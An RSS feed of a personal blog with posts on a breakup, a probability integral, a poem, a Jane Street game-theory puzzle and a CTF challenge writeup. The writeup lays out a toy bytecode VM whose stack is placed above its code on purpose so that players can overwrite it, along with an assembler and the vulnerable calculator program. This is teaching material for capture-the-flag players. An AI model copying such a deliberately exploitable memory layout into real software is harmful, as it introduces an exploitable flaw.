<?xml version="1.0" encoding="UTF-8"?><?xml-stylesheet href="/rss.xsl" type="text/xsl"?><rss version="2.0" xmlns:content="http://purl.org/rss/1.0/modules/content/"><channel><title>kek :D</title><description>A (mostly) technical blog going into computing/cybersecurity/math topics. Sometimes about life</description><link>https://blog.kek.cx</link><item><title>On Loss and Love</title><link>https://blog.kek.cx/posts/on-loss-and-love</link><guid isPermaLink="true">https://blog.kek.cx/posts/on-loss-and-love</guid><description>The uninspiring story of a lost soul&apos;s first venture into love - and it&apos;s valuable lessons</description><pubDate>Wed, 21 Jan 2026 00:00:00 GMT</pubDate><content:encoded>&lt;p&gt;Recently, I lost what I previously thought was the love of my life.&lt;br /&gt;
The experience changed the lens through which I view relationships and my life.&lt;br /&gt;
I have hesitated to post this for a long time, but this is the (unspiring) story of a lost souls first venture into love.&lt;/p&gt;
&lt;h1&gt;The beginning&lt;/h1&gt;
&lt;p&gt;They say that love always comes when you least expect it, and I have found this to be true.&lt;br /&gt;
I stepped into my first year of junior college just after recovering from the heartbreak of an unrequited love. Finding a relationship was the last thing on my mind.&lt;br /&gt;
To make matters worse, I had been brutally butchered by a barber just before my first week of school, and boy, that head of hair was &lt;em&gt;definitely&lt;/em&gt; not helping my chances.&lt;/p&gt;
&lt;p&gt;I first started talking to Feilin over text one day, after asking her what was probably a mathematics question.&lt;br /&gt;
From that day on, we started texting often. At that point in time, I had a crush on another girl in my class and therefore didn&apos;t really think much about it.&lt;br /&gt;
Besides, she was the type of girl to have many male friends (being in a male dominated computing class helped) and the only thing I thought about it was &quot;dang, does this girl have no other better things to do?&quot;&lt;/p&gt;
&lt;p&gt;Soon after however, I had lost interest in the other girl and was a free agent.&lt;br /&gt;
Feilin were in the same class, H2 Project Work group and worked on the same external research project. Therefore, we had no lack of opportunity to see each other.&lt;br /&gt;
I remember distinctly however, the first time we spent time alone together.&lt;br /&gt;
The external research project had a package that required us to run a linux distro, and she had no idea how they worked and how to dual boot windows and ubuntu on her laptop.&lt;br /&gt;
I, ever the opportunist, offered to help her at my place.&lt;/p&gt;
&lt;p&gt;I still remember questioning her choice of partitioning her disk into two, with her response being &quot;my friend said that it would make it faster&quot;.&lt;br /&gt;
Till this day, I think she still runs that accursed setup.&lt;/p&gt;
&lt;p&gt;Naturally, that experience was EXTREMELY awkward, but I remembered that we shared a hug before she headed home, something that I did with all my close friends at that point, but when I first hugged her, something felt off.&lt;br /&gt;
Something felt different about the hug - not that it was awkward, or wrong, or weird, but that it conveyed a different message.&lt;/p&gt;
&lt;p&gt;In the weeks that passed, I wrestled much with my feelings. I had initially tossed the idea of dating her at the start, but now thoughts of it were creeping into the back of my mind.&lt;br /&gt;
Eventually, I went out with her a couple of times, and after she started placing her head on my shoulders during movies and lunch (cringe!) I knew that it was a matter of time before I asked her out.&lt;/p&gt;
&lt;p&gt;Not long after, after watching Jurrasic Park at Suntec City, I eventually did ask her to be my girlfriend, whilst walking her back to HCI Boarding School.&lt;/p&gt;
</content:encoded><author>kek</author></item><item><title>A Short Probability Problem</title><link>https://blog.kek.cx/posts/a-short-probability-problem</link><guid isPermaLink="true">https://blog.kek.cx/posts/a-short-probability-problem</guid><description>Given a_1 ~ Unif(0,1), a2 ~ Unif(0,2), a3 ~ Unif(0,3), a4 ~ Unif(0,4) and a5 ~ Unif(0,5), what is P(a1 &lt;= a2 &lt;= a3 &lt;= a4 &lt;= a5)?</description><pubDate>Mon, 26 Jan 2026 00:00:00 GMT</pubDate><content:encoded>&lt;h1&gt;The problem&lt;/h1&gt;
&lt;p&gt;Given a1 ~ Unif(0,1), a2 ~ Unif(0,2), a3 ~ Unif(0,3), a4 ~ Unif(0,4) and a5 ~ Unif(0,5), what is P(a1 &amp;lt;= a2 &amp;lt;= a3 &amp;lt;= a4 &amp;lt;= a5)?&lt;/p&gt;
&lt;p&gt;I recently saw this problem in an instagram reel, and after some help from a friend (thanks zhi!) and an hour plus of struggling with it, I finally (roughly) understand how to approach this!&lt;/p&gt;
&lt;p&gt;Note: I am extremely unfamiliar with math in general and therefore some things were extremely foreign to me&lt;/p&gt;
&lt;h2&gt;Mistakes&lt;/h2&gt;
&lt;p&gt;I have solved a similar problem (janestreet dec 2025, writeup coming!) before where we had to calculate something like P(a1 &amp;lt;= a2).&lt;br /&gt;
One way to approach this is geometrically (groan).&lt;/p&gt;
&lt;p&gt;&lt;img src=&quot;/images/a-short-probability-problem-a1a2.png&quot; alt=&quot;Graph of a2/a1&quot; /&gt;&lt;/p&gt;
&lt;p&gt;As you can see, the square represents the space of all possible combinations of (a1,a2).&lt;br /&gt;
Therefore, if we want to find the probability that a1&amp;lt;=a2, we can simply take the area where a1&amp;lt;=a2/total area.&lt;br /&gt;
With this in mind, $P(a1 \leq a2) = (1/2 * 1 * 1) / 1*1 = 0.5$&lt;/p&gt;
&lt;p&gt;Therefore, a natural follow up to having more a_x would to this thinking into a higher-dimensional space.&lt;br /&gt;
This 5D space would have volume 1x2x3x4x5 = 120 (a1 x a2 x a3 x a4 x a5)&lt;br /&gt;
Then, we should ask ourselves what hyper-volume of this space represents the set of (a1,a2,a3,a4,a5) where a1 &amp;lt;= a2 &amp;lt;= a3 &amp;lt;= a4 &amp;lt;= a5?&lt;/p&gt;
&lt;p&gt;PS: it is probably not important to read past here if you are merely trying to understand the solution. This is more of a &quot;for myself&quot; section.&lt;/p&gt;
&lt;p&gt;As a professionally terrible at geometry enjoyer, I was already getting lost here. No matter, chatgpt to the rescue!&lt;/p&gt;
&lt;p&gt;Now, ChatGPT 5.2 thinking suggested that I start from a1 and integrate my way up to a5. Sounds reasonable.&lt;br /&gt;
Therefore, let $v_1(u)$ be the length of the 1D volume of choices for a1 given $a2 = u$.&lt;br /&gt;
Therefore, $v_n(u)$ would be the volume of the N-D volume of choices for $(a_1, a_2, ... , a_n)$ given that $a_n = u$&lt;/p&gt;
&lt;p&gt;To find the resultant volume, we would simply evaluate $\int_0^5{v_4(u)}{du}$.&lt;/p&gt;
&lt;p&gt;Let us now try this.&lt;br /&gt;
Given $a_2=u$, $a_1$ can exist in the interval [0, min(1,u)].&lt;br /&gt;
Therefore, $v_1(u) = \int_0^{min(1,u)}{1},{du} = min(1,u)$&lt;/p&gt;
&lt;p&gt;and then, given that $a3 = u$
$v_2(u) = \int_0^{min(2,u)}{v_1(t)},dt$&lt;/p&gt;
&lt;p&gt;To compute this integral, we would now have to split between the cases where $0 \leq u \leq 1$, $1 \leq u \leq 2$, $2 \leq u \leq 3$ and then for each of these cases, there are subcases for the ranges of t as well.&lt;/p&gt;
&lt;p&gt;This quickly becomes a mess of piecewise functions and feels &lt;em&gt;terrible&lt;/em&gt; to calculate. There has to be a better way!&lt;/p&gt;
&lt;h2&gt;The better way&lt;/h2&gt;
&lt;p&gt;Previously, we attempted to integrate from the bottom up, starting with &lt;em&gt;a1&lt;/em&gt; and working our way up to &lt;em&gt;a5&lt;/em&gt;.&lt;br /&gt;
The problem we faced was that each function was dependent on the functions before it, and therefore dependent on the bounds of each random variable before it.&lt;br /&gt;
This &quot;stacking&quot; of piecewise functions caused an explosion in the number of terms we had to evaluate, as we had to &quot;update&quot; the &quot;state&quot; of each integral with the potential states of past integrals.&lt;/p&gt;
&lt;p&gt;What if we try to integrate from the bottom down instead? If we start by integrating from $a_5$, which only depends on $a_4$ (as $a_4$ implicitly &quot;encodes&quot; the information of $a_3, a_2, a_1$, we might not need to deal with this issue)&lt;/p&gt;
&lt;p&gt;Our goal still satyas the same, to have a 5D space which volume represents the set of all $(a_1,a_2,a_3,a_4,a_5)$, and to find the hyper-volume of the space which represents the set of $(a_1,a_2,a_3,a_4,a_5)$ where $a_1 \leq a_2\leq a_3 \leq a_4\leq a_5$.&lt;/p&gt;
&lt;p&gt;Let us start with $a_5$.&lt;br /&gt;
The &quot;length&quot; of values that $a_5$ can take is $5 - a_4$.&lt;br /&gt;
This is because $0 \leq a_5 \leq 5$ and $a_4 \leq a_5$.&lt;br /&gt;
The alternative way to think about this is that the 1-D volume that $a_5$ can take is given by the integral&lt;br /&gt;
$$
\begin{aligned}
&amp;amp;V(a_5) = \int_{a_4}^{5}{1},da_4 = 5 - a_4
\end{aligned}
$$&lt;/p&gt;
&lt;p&gt;Therefore, the 2-D volume that is given by the set of valid $(a_5,a_4)$ values is&lt;br /&gt;
$$
\begin{aligned}
&amp;amp;V(a_5,a_4) = \int_{a_3}^{4}{5 - a_4},da_3 = 12 - 5a_3 + \frac{1}{2}{a_3}^2
\end{aligned}
$$&lt;/p&gt;
&lt;p&gt;This is because $0 \leq a_4 \leq 4$ and $a_3 \leq a_4$.&lt;br /&gt;
Therefore, by integrating the length of $a_5$ over the values of $a_4$, we can find the area.&lt;br /&gt;
Here is the &lt;em&gt;key&lt;/em&gt; observation. We can say that the values of $a_n$ &lt;em&gt;solely&lt;/em&gt; depend on the value of $a_{n-1}$! This is due to the fact that for $a_{n-1}$ to exist in the set of valid solutions, the previous criteria for $a_1,a_2,a_3$ have already been fulfilled.&lt;/p&gt;
&lt;p&gt;Next, we find the 3-D volume that is given by the set of valid $(a_5,a_4,a_3)$ values, with the same set of reasoning as before&lt;br /&gt;
$$
\begin{aligned}
&amp;amp;V(a_5,a_4,a_3) = \int_{a_2}^{3}{12 - 5a_3 + \frac{1}{2}{a_3}^2},da_2 =  ... = 18 - 12a_2 + \frac{5}{2}{a_2}^2 - \frac{1}{6}{a_2}^3
\end{aligned}
$$&lt;/p&gt;
&lt;p&gt;Now, for the 4-D volume that is given by the set of valid $(a_5,a_4,a_3,a_2)$ values, with the same set of reasoning as before&lt;br /&gt;
$$
\begin{aligned}
&amp;amp;V(a_5,a_4,a_3,a_2) = \int_{a_1}^{2}{18 - 12a_2 + \frac{5}{2}{a_2}^2 - \frac{1}{6}{a_2}^3},da_1 =  ... = 18 - 18a_1 + 6{a_1}^2 - \frac{5}{6}{a_1}^3 + \frac{1}{24}{a_1}^4
\end{aligned}
$$&lt;/p&gt;
&lt;p&gt;And finally, for the 5-D volume that is given by the set of valid $(a_5,a_4,a_3,a_2,a_1)$ values&lt;br /&gt;
$$
\begin{aligned}
&amp;amp;V(a_5,a_4,a_3,a_2,a_1) = \int_{1}^{0}{18 - 18a_1 + 6{a_1}^2 - \frac{5}{6}{a_1}^3 + \frac{1}{24}{a_1}^4},da_1 = 18 - 9 + 2 - \frac{5}{24} + \frac{1}{120} = \frac{54}{5}
\end{aligned}
$$&lt;/p&gt;
&lt;p&gt;And to arrive at the final answer,
$$
\begin{aligned}
&amp;amp;P(a_5\geq a_4\geq a_3\geq a_2\geq a_1) = \frac{\frac{54}{5}}{120} = \frac{9}{100} = 0.09 = 9%
\end{aligned}
$$&lt;/p&gt;
&lt;p&gt;There you have it! Hopefully this was helpful and interesting :D&lt;/p&gt;
</content:encoded><author>kek</author></item><item><title>Dear Favourite Stranger...</title><link>https://blog.kek.cx/posts/dear-favourite-stranger</link><guid isPermaLink="true">https://blog.kek.cx/posts/dear-favourite-stranger</guid><description>Maybe in another life :)</description><pubDate>Thu, 25 Dec 2025 00:00:00 GMT</pubDate><content:encoded>&lt;p&gt;Dear favourite stranger,&lt;br /&gt;
I have forgotten your touch, your smell, and your taste – but never your love.&lt;br /&gt;
You feel so far away yet still so close to my heart.&lt;br /&gt;
I know you once truly loved me, as I did you.&lt;br /&gt;
I look back with a tear, but also a smile, for the time we had was worth all this while.&lt;br /&gt;
Though this might be a last goodbye, your memory will last a lifetime.&lt;br /&gt;
Wherever you are, whenever, and with whoever, I wish you all the best.&lt;/p&gt;
&lt;p&gt;And so, as my last painful act of love,&lt;br /&gt;
I open my hands.&lt;br /&gt;
I let you go, my dove.&lt;/p&gt;
</content:encoded><author>kek</author></item><item><title>Robot Javalin: Jane Street December 2025 monthly puzzle</title><link>https://blog.kek.cx/posts/janestreet-dec-2025</link><guid isPermaLink="true">https://blog.kek.cx/posts/janestreet-dec-2025</guid><description>Short writeup on one of JS&apos;s easier monthly puzzles</description><pubDate>Wed, 07 Jan 2026 00:00:00 GMT</pubDate><content:encoded>&lt;p&gt;Finally another game theory based puzzle!&lt;br /&gt;
As usual, code can be found &lt;a&gt;here&lt;/a&gt; but you probably won&apos;t need it this time around!&lt;/p&gt;
&lt;h2&gt;Problem Statement&lt;/h2&gt;
&lt;p&gt;It’s coming to the end of the year, which can only mean one thing: time for this year’s Robot Javelin finals! Whoa wait, you’ve never heard of Robot Javelin? Well then! Allow me to explain the rules:&lt;/p&gt;
&lt;ul&gt;
&lt;li&gt;It’s head-to-head. Each of two robots makes their first throw, whose distance is a real number drawn uniformly from [0, 1].&lt;/li&gt;
&lt;li&gt;Then, without knowledge of their competitor’s result, each robot decides whether to keep their current distance or erase it and go for a second throw, whose distance they must keep (it is also drawn uniformly from [0, 1]).&lt;/li&gt;
&lt;li&gt;The robot with the larger final distance wins.&lt;/li&gt;
&lt;/ul&gt;
&lt;p&gt;This year’s finals pits your robot, Java-lin, against the challenger, Spears Robot. Now, robots have been competing honorably for years and have settled into the Nash equilibrium for this game. However, you have just learned that Spears Robot has found and exploited a leak in the protocol of the game. They can receive a single bit of information telling them whether their opponent’s first throw (distance) was above or below some threshold d of their choosing before deciding whether to go for a second throw. Spears has presumably chosen d to maximize their chance of winning — no wonder they made it to the finals!&lt;/p&gt;
&lt;p&gt;Spears Robot isn’t aware that you’ve learned this fact; they are assuming Java-lin is using the Nash equilibrium. If you were to adjust Java-lin’s strategy to maximize its odds of winning given this, what would be Java-lin’s updated probability of winning? Please give the answer in exact terms, or as a decimal rounded to 10 places.&lt;/p&gt;
&lt;h2&gt;Problem Analysis&lt;/h2&gt;
&lt;p&gt;Great, another easy-ish game theory problem. Seems like this time around, we need to calculate three things&lt;/p&gt;
&lt;ol&gt;
&lt;li&gt;&quot;base case&quot; nash equilibrium strategy&lt;/li&gt;
&lt;li&gt;fully exploitative leaked strategy&lt;/li&gt;
&lt;li&gt;equilibrium strategy with leak&lt;/li&gt;
&lt;/ol&gt;
&lt;p&gt;We can probably take things step by step, as we need any initial steps before we can proceed on to find the next&lt;/p&gt;
&lt;h2&gt;Base case nash equilibrium&lt;/h2&gt;
&lt;p&gt;In the base case, the game is a symmetric optimal stopping problem.&lt;br /&gt;
That is to say, each players will have the same strategies, with the same cutoff for their strategies.&lt;br /&gt;
With this crucial information in hand (that the optimal strategies will be symmetric), our lives get a whole lot easier.&lt;/p&gt;
&lt;h3&gt;Common pitfalls&lt;/h3&gt;
&lt;p&gt;A common pitfall here is to assume that this is a score optimisation problem.&lt;br /&gt;
That is to say, that the goal here for each players is to maximise their expected score and therefore maximise their chance of winning.&lt;/p&gt;
&lt;p&gt;Therefore, some might attempt to reason that since the EV of a single roll is 0.5, if one rolls &amp;lt; 0.5, one should reroll.&lt;br /&gt;
Therefore, the EV would be $ E(game) = 0.5 * (0.5 + 1.0)/2 + 0.5 * 0.5 = 0.6875$&lt;br /&gt;
Whilst it is true that such a strategy would maximise the &lt;em&gt;values&lt;/em&gt; of each game, it is logically flawed to extend that line of thought to assume that this also maximising the chances of winning.&lt;/p&gt;
&lt;p&gt;I struggle to find a convincing intuition why this is &lt;em&gt;not&lt;/em&gt; the case (if someone has one please do let me know!), but I can attempt to demonstrate why this &lt;em&gt;may&lt;/em&gt; not be the case.&lt;br /&gt;
Consider the two following scenarios&lt;/p&gt;
&lt;p&gt;Scenario A:&lt;/p&gt;
&lt;ul&gt;
&lt;li&gt;the player rolls a dice, and it lands on 1 with 0.2 probability and 0 with 0.8 probability&lt;/li&gt;
&lt;li&gt;therefore, the EV (in terms of value of the roll) is 0.2&lt;/li&gt;
&lt;/ul&gt;
&lt;p&gt;Scenario B:&lt;/p&gt;
&lt;ul&gt;
&lt;li&gt;the player rolls a dice, and it lands on 0.1 with 1 probability&lt;/li&gt;
&lt;li&gt;therefore, the EV is 0.1&lt;/li&gt;
&lt;/ul&gt;
&lt;p&gt;As one can see, the EV of scenario B is lower than that of scenario A. However, when both scenarios (strategies) are pitted against one again in this setting, scenario B will come out victorious 80% of the time.&lt;/p&gt;
&lt;h3&gt;Solving for the base case equilibrium&lt;/h3&gt;
&lt;p&gt;Therefore, we must approach this problem from a game theoretic perspective.&lt;br /&gt;
Hence, all we need to do is reframe our perspective of EV.
Here, EV should be the probability of winning, rather than the raw score. Maximising this value will thus suffice.&lt;/p&gt;
&lt;p&gt;We know that in equilibrium, Java-lin and Spears Robot must both act in a way that causes the other to be indifferent between actions.&lt;br /&gt;
Call the optimal stopping point (point where both players should reroll) k, and the value of the first roll x&lt;br /&gt;
Now, we know that given we first roll k, the probability of winning if we stay and reroll should be the same.&lt;/p&gt;
&lt;p&gt;Therefore, we can construct the following set of equations&lt;br /&gt;
$$
\begin{aligned}
&amp;amp;P( \text{win if reroll } | x = k) = P( \text{win if stay } | x = k) \&lt;br /&gt;
&amp;amp;P( \text{win if reroll } | x = k \cap \text{ opponent rerolls }) P( \text{opponent rerolls} ) + P( \text{win if reroll } | x = k \cap \text{ opponent keeps }) P( \text{opponent keeps} ) \&lt;br /&gt;
&amp;amp; = \&lt;br /&gt;
&amp;amp;P( \text{win if keep } | x = k \cap \text{ opponent rerolls }) P( \text{opponent rerolls} ) + P( \text{win if keep } | x = k \cap \text{ opponent keeps }) P( \text{opponent keeps} ) \&lt;br /&gt;
\end{aligned}
$$&lt;/p&gt;
&lt;p&gt;Pardon the formatting, but I tried to use text instead of purely symbols to keep it more readable&lt;br /&gt;
Now, since we know that the value of k is equal for both players, it is trivial now to substitute k in for each term of the equation and solve it.&lt;/p&gt;
</content:encoded><author>kek</author></item><item><title>KEKculator</title><link>https://blog.kek.cx/posts/kekculator</link><guid isPermaLink="true">https://blog.kek.cx/posts/kekculator</guid><description>A short writeup on a bytevm reversing/pwn challenge I made for SieberrCTF 2025. Some sections currently removed due to an ongoing writeup contest</description><pubDate>Sat, 26 Jul 2025 00:00:00 GMT</pubDate><content:encoded>&lt;h1&gt;Intro&lt;/h1&gt;
&lt;p&gt;This is my first blog post so I thought I would keep it easily digestable :)&lt;/p&gt;
&lt;p&gt;For this years rendition of SieberrCTF 2025, I wrote a bytevm reverse engineering/pwn challenge called &quot;KEKculator&quot; with the intention of allowing newer CTF players an introduction to bytevm reversing.&lt;br /&gt;
The challenge was used in the qualifying round, and got a total of 1 solve by @azzazo&lt;br /&gt;
Additionally, it was my first time writing any sort of bytevm/re/pwn challenge + I&apos;m an re and pwn noob and thus I figured it would be a good opportunity to practice some coding.&lt;/p&gt;
&lt;p&gt;I thought that I would approach this writeup from the perspective of creating the challenge first, then present how I envisioned someone with minimal RE experience solving it.&lt;br /&gt;
Hopefully this allows for better clarity :grin:&lt;/p&gt;
&lt;h1&gt;Challenge creation&lt;/h1&gt;
&lt;h2&gt;Architecture&lt;/h2&gt;
&lt;p&gt;The byteVM acts like a 32-bit cpu, with a bytecode convention as follows&lt;/p&gt;
&lt;table&gt;
&lt;thead&gt;
&lt;tr&gt;
&lt;th&gt;opcode (4 bytes)&lt;/th&gt;
&lt;th&gt;arg1 (4 bytes)&lt;/th&gt;
&lt;th&gt;arg2 (4 bytes)&lt;/th&gt;
&lt;th&gt;arg3 (4 bytes)&lt;/th&gt;
&lt;/tr&gt;
&lt;/thead&gt;
&lt;/table&gt;
&lt;p&gt;All the values are big endian and will always be present.&lt;/p&gt;
&lt;p&gt;Eg. if the opcode only requires arg1 and arg2, arg3 must still be provided and will simply be ignored.&lt;/p&gt;
&lt;p&gt;The &quot;ram&quot;/memory is stored in a simple python list with the following structure&lt;br /&gt;
[&lt;br /&gt;
- 0:1000 -&amp;gt; stack&lt;br /&gt;
- 1001: 1001+len(code) -&amp;gt; code&lt;br /&gt;
]&lt;/p&gt;
&lt;p&gt;The &quot;stack&quot; grows downward as per common convention&lt;br /&gt;
Additionally, the reasoning for placing the stack on top of the code is to allow for the pwn aspect of this challenge(as you&apos;ll see later)&lt;/p&gt;
&lt;p&gt;Furthermore, there exists a bunch of standardish registers:&lt;br /&gt;
esp, ebp, eip, eax(used for arithmetic calls) ,edx, ecx, ebx, esi, edi&lt;/p&gt;
&lt;h2&gt;Opcodes&lt;/h2&gt;
&lt;p&gt;There are a total of 18 opcodes implemented in the byteVM, here&apos;s a quick list and a brief description of them&lt;br /&gt;
opcodes:&lt;/p&gt;
&lt;ul&gt;
&lt;li&gt;0x00 -&amp;gt; halt (arg1 = exit_code, arg2 = message, arg3 = 0)&lt;/li&gt;
&lt;li&gt;0x01 -&amp;gt; add (arg1 = dest(register), arg2 = src1, arg3 = src2)&lt;/li&gt;
&lt;li&gt;0x02 -&amp;gt; sub (arg1 = dest(register), arg2 = src1, arg3 = src2)&lt;/li&gt;
&lt;li&gt;0x03 -&amp;gt; mul (arg1 = dest(register), arg2 = src1, arg3 = src2)&lt;/li&gt;
&lt;li&gt;0x04 -&amp;gt; div (arg1 = dest(register), arg2 = src1, arg3 = src2)&lt;/li&gt;
&lt;li&gt;0x05 -&amp;gt; test (arg1 = src1, arg2 = src2, arg3 = 0) -&amp;gt; clears the flags of register tes&lt;/li&gt;
&lt;li&gt;0x06 -&amp;gt; jeq (arg1 = offset, arg2 = 0, arg3 = 0) -&amp;gt; jumps if the eq is set (tested equality)&lt;/li&gt;
&lt;li&gt;0x07 -&amp;gt; jne (arg1 = offset, arg2 = 0, arg3 = 0) -&amp;gt; jumps if the neq flag is not set (tested inequality)&lt;/li&gt;
&lt;li&gt;0x08 -&amp;gt; jgt (arg1 = offset, arg2 = 0, arg3 = 0) -&amp;gt; jumps if the greater than flag is set (tested greater than)&lt;/li&gt;
&lt;li&gt;0x09 -&amp;gt; jlt (arg1 = offset, arg2 = 0, arg3 = 0) -&amp;gt; jumps if the less than flag is set (tested less than)&lt;/li&gt;
&lt;li&gt;0x0a -&amp;gt; jz (arg1 = offset, arg2 = 0, arg3 = 0) -&amp;gt; jumps if the zero  flag is set (tested equality)&lt;/li&gt;
&lt;li&gt;0x0b -&amp;gt; jnz (arg1 = offset, arg2 = 0, arg3 = 0) -&amp;gt; jumps if the zero flag is not set (tested inequality)&lt;/li&gt;
&lt;li&gt;0x0c -&amp;gt; jmp (arg1 = offset, arg2 = 0, arg3 = 0) -&amp;gt; jumps unconditionally&lt;/li&gt;
&lt;li&gt;0x0d -&amp;gt; push (arg1 = dest(register), arg2 = value)&lt;/li&gt;
&lt;li&gt;0x0e -&amp;gt; pop (arg1 = dest(register), arg2 = 0)&lt;/li&gt;
&lt;li&gt;0x0f -&amp;gt; store (arg1 = src(register),  arg2 - memory addr) -&amp;gt; stores arg1(register) into arg2(memory (stores unconditionally)&lt;/li&gt;
&lt;li&gt;0xff -&amp;gt; nop (arg1 = 0, arg2 = 0, arg3 = 0) -&amp;gt; no operation&lt;/li&gt;
&lt;li&gt;0xdd -&amp;gt; syscall (arg1(0=print, 1=read), arg2(resgiter), arg3(register))&lt;/li&gt;
&lt;/ul&gt;
&lt;h2&gt;Code structure&lt;/h2&gt;
&lt;p&gt;The full source code can be viewed &lt;a href=&quot;https://github.com/Sieberrsec-CTF/Sieberrsec-CTF-2025-Public/blob/main/qualifiers/re/KEKculator/src/bin/vm.py&quot;&gt;here&lt;/a&gt;&lt;br /&gt;
PS: I have done my best to make it readable by adding comments, but I am not too great at writing readable code :stuck_out_tongue:&lt;br /&gt;
However, in the interest of keeping this digestable, I shall only provide a layout of the code.&lt;/p&gt;
&lt;p&gt;A bunch of helper functions are defined, and individual functions are defined for each opcode.&lt;br /&gt;
The path to a program is passed into the class init function, which then initializes the registers in a dictionary and the memory list&lt;/p&gt;
&lt;p&gt;Lastly, a router function is used to get the code at the current EIP(Instruction pointer), fill the arg1,2,3 registers with the correct data, call the function and corresponds to the opcode&lt;br /&gt;
(you may notice that I used a bunch of if loops instead of a match case switch. This is because most bytecode decompilers only support python versions that do not have the match case switch, and I wanted to introduce the participants to python bytecode reversing, but making it trivial to reverse so as to maintain the crux of the challenge)&lt;/p&gt;
&lt;h2&gt;Writing a vulneriable program&lt;/h2&gt;
&lt;p&gt;The vulnerable program that is ran serverside is a calculator program that loads the value of 1 into a register, takes in an instruction and an operand, and performs the corresponding instruction using the current value of the register and the provided operand, then saves the resultant value into the register.&lt;/p&gt;
&lt;p&gt;When the &quot;done&quot; instruction is received, it stores the value of the register into the stack and prints the bytes of the value.&lt;/p&gt;
&lt;p&gt;I was going to write the bytecode by hand initially, but due to time constraints I decided on writing an assembler to speed up this process.&lt;/p&gt;
&lt;pre&gt;&lt;code&gt;with open(&apos;exploit.asm&apos;) as f:
    asm = f.readlines()

asm = [line.strip() for line in asm if line[0] != &apos;#&apos; and line != &apos;\n&apos;  ]

bytecode = b&apos;&apos;

opcode_to_byte = {
    &apos;halt&apos;:   0x00,
    &apos;add&apos;:    0x01,
    &apos;sub&apos;:    0x02,
    &apos;mul&apos;:    0x03,
    &apos;div&apos;:    0x04,
    &apos;test&apos;:   0x05,
    &apos;jeq&apos;:    0x06,
    &apos;jne&apos;:    0x07,
    &apos;jgt&apos;:    0x08,
    &apos;jlt&apos;:    0x09,
    &apos;jz&apos;:     0x0a,
    &apos;jnz&apos;:    0x0b,
    &apos;jmp&apos;:    0x0c,
    &apos;push&apos;:   0x0d,
    &apos;pop&apos;:    0x0e,
    &apos;store&apos;: 0x0f,
    &apos;syscall&apos;: 0xdd,
    &apos;nop&apos;:    0xff
}

def arg_to_bytes(arg):
    if arg[:2] == &apos;0x&apos;:
        arg = int(arg, 16)
    
    else:
        arg = int(arg.encode().hex(),16)
        
    return arg

def pad_bytes(arg):
    return arg.to_bytes(4, &apos;big&apos;)

for line in asm:
    opcode, arg1, arg2, arg3 = line.split(&apos; &apos;)
    opcode = opcode_to_byte[opcode]
    
    arg1, arg2, arg3 = arg_to_bytes(arg1), arg_to_bytes(arg2), arg_to_bytes(arg3)
    
    bytecode += pad_bytes(opcode) + pad_bytes(arg1) + pad_bytes(arg2) + pad_bytes(arg3)

with open(&apos;exploit.bin&apos;, &apos;wb&apos;) as f:
    f.write(bytecode)

&lt;/code&gt;&lt;/pre&gt;
&lt;p&gt;Here is the code for the simple assembler that I wrote.&lt;/p&gt;
&lt;p&gt;With this, I created the following assembly:&lt;/p&gt;
&lt;pre&gt;&lt;code&gt;# simple program to write a string to the stack (starts from 0:1000) and then print it out



# we need to first print out the string &quot;Welcome to KEKulator PRO!&quot;
add edx Welc 0x0
push edx 0x0 0x0
add edx 0x6f6d6520 0x0
push edx 0x0 0x0
add edx 0x746f204b 0x0
push edx 0x0 0x0
add edx 0x454b756c 0x0
push edx 0x0 0x0
add edx 0x61746f72 0x0
push edx 0x0 0x0
add edx 0x2050524f 0x0
push edx 0x0 0x0
add edx 0x21000000 0x0
push edx 0x0 0x0
add edx 0x0 0x0
syscall 0x0 edx 0x0

# print &quot;Your starting number: 1!&quot;
add edx Your 0x0
push edx 0x0 0x0
add edx 0x20737461 0x0
push edx 0x0 0x0
add edx 0x7274696e 0x0
push edx 0x0 0x0
add edx 0x67206e75 0x0
push edx 0x0 0x0
add edx 0x6d626572 0x0
push edx 0x0 0x0
add edx 0x3a203121 0x0
push edx 0x0 0x0
add edx 0x0 0x0
push edx 0x0 0x0
add edx 0x1c 0x0
syscall 0x0 edx 0x0


# print &quot;This is a blackbox so I won&apos;t tell you what to do...teehee&quot;

add edx 0x54686973 0x0
push edx 0x0 0x0
add edx 0x20697320 0x0
push edx 0x0 0x0
add edx 0x6120626c 0x0
push edx 0x0 0x0
add edx 0x61636b62 0x0
push edx 0x0 0x0
add edx 0x6f782073 0x0
push edx 0x0 0x0
add edx 0x6f204920 0x0
push edx 0x0 0x0
add edx 0x776f6e27 0x0
push edx 0x0 0x0
add edx 0x74207465 0x0
push edx 0x0 0x0
add edx 0x6c6c2079 0x0
push edx 0x0 0x0
add edx 0x6f752077 0x0
push edx 0x0 0x0
add edx 0x68617420 0x0
push edx 0x0 0x0
add edx 0x746f2064 0x0
push edx 0x0 0x0
add edx 0x6f2e2e2e 0x0
push edx 0x0 0x0
add edx 0x74656568 0x0
push edx 0x0 0x0
add edx 0x65650000 0x0
push edx 0x0 0x0
add edx 0x38 0x0
syscall 0x0 edx 0x0

# push 1 to ecx
add ecx 0x0 0x1

# we need to accept the arithmetic instruction(add, sub, mul, div) and a number to operate on eax

# call read to read 4 bytes into edx (the instruction to run)
syscall 0x1 edx 0x0

# test for &quot;add &quot;
add ebx 0x61646420 0x0
test ebx edx 0x0
# if equal, jump to arithmetic function
jeq 0x8f8 0x0 0x0

# test for &quot;sub &quot;
add ebx 0x73756220 0x0
test ebx edx 0x0
# if  equal, jump to arithmetic function
jeq 0x928 0x0 0x0

# test for &quot;mul &quot;
add ebx 0x6d756c20 0x0
test ebx edx 0x0
# if  equal, jump to arithmetic function
jeq 0x958 0x0 0x0

# test for &quot;div &quot;
add ebx 0x64697620 0x0
test ebx edx 0x0
# if  equal, jump to arithmetic function
jeq 0x988 0x0 0x0


# test for &quot;done&quot;
add ebx 0x646f6e65 0x0
test ebx edx 0x0
# if  equal, jump to done function
jeq 0x9b8 0x0 0x0

# add function
# call read to read 4 bytes into edx (the value to add)
syscall 0x1 edx 0x0
add ecx ecx edx
# jump back to input function
jmp 0x7f8 0x0 0x0

# sub function
# call read to read 4 bytes into edx(the value to sub)
syscall 0x1 edx 0x0
sub ecx ecx edx
# jump back to input function
jmp 0x7f8 0x0 0x0

# mul function
# call read to read 4 bytes into edx(the value to mul)
syscall 0x1 edx 0x0
mul ecx ecx edx
# jump back to input function
jmp 0x7f8 0x0 0x0

# div function
# call read to read 4 bytes into edx(the value to div)
syscall 0x1 edx 0x0
div ecx ecx edx
# jump back to input function
jmp 0x7f8 0x0 0x0

# done function
# store the value of ecx onto the stack
store ecx 0x74 0x0
# print the value that was stored
add ecx 0x0 0x74
